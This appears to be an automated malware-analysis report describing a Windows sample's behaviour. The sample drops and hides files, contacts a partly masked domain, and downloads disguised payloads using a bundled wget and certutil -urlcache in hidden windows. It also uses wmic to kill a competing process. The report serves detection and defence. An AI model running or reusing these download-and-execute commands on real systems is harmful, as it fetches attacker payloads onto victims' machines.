Technical Information
Modifies file system
Creates the following files
- <Current directory>\wgets.exe
- <Current directory>\testwget.txt
- <Current directory>\wgetlog.txt
- <Current directory>\ico.jpg
- <Current directory>\x
- <Current directory>\order.txt
Sets the 'hidden' attribute to the following files
- <Current directory>\ico.jpg
- <Current directory>\x
- <Current directory>\order.txt
Deletes the following files
- <Current directory>\testwget.txt
- <Current directory>\wgetlog.txt
Substitutes the following files
- <Current directory>\wgetlog.txt
Network activity
Connects to
- 'localhost':9527
UDP
- DNS ASK d4##.7h4uk.com
- DNS ASK ww##.#4uk.7h4uk.com
Miscellaneous
Creates and executes the following
- '<Current directory>\wgets.exe' http://12#.#.0.1:9527 -o "C:\\uoaqa\\TestWget.txt" -t 1
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\ico.jpg" http://d4##.7h4uk.com/w_tools/register.jpg -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\x" http://d4##.7h4uk.com/w_tools/config.json -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\order.txt" http://d4##.7h4uk.com/w_tools/yesir.txt -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get addresswidth' (with hidden window)
- '<Current directory>\wgets.exe' http://12#.#.0.1:9527 -o "C:\\uoaqa\\TestWget.txt" -t 1' (with hidden window)
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\ico.jpg" http://d4##.7h4uk.com/w_tools/register.jpg -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"' (with hidden window)
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/register.jpg "C:\\uoaqa\\ico.jpg"' (with hidden window)
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\x" http://d4##.7h4uk.com/w_tools/config.json -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"' (with hidden window)
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/config.json "C:\\uoaqa\\x"' (with hidden window)
- '<Current directory>\wgets.exe' -O "C:\\uoaqa\\order.txt" http://d4##.7h4uk.com/w_tools/yesir.txt -T 30 -w 10 -t 0 -o "C:\\uoaqa\\wgetLog.txt"' (with hidden window)
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/yesir.txt "C:\\uoaqa\\order.txt"' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' process where (name="ManagemnetAgnetHost.exe" and not ExecutablePath="C:\\uoaqa\\<File name>.exe") call terminate' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get addresswidth
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/register.jpg "C:\\uoaqa\\ico.jpg"
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/config.json "C:\\uoaqa\\x"
- '%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://d4##.7h4uk.com/w_tools/yesir.txt "C:\\uoaqa\\order.txt"
- '%WINDIR%\syswow64\wbem\wmic.exe' process where (name="ManagemnetAgnetHost.exe" and not ExecutablePath="C:\\uoaqa\\<File name>.exe") call terminate
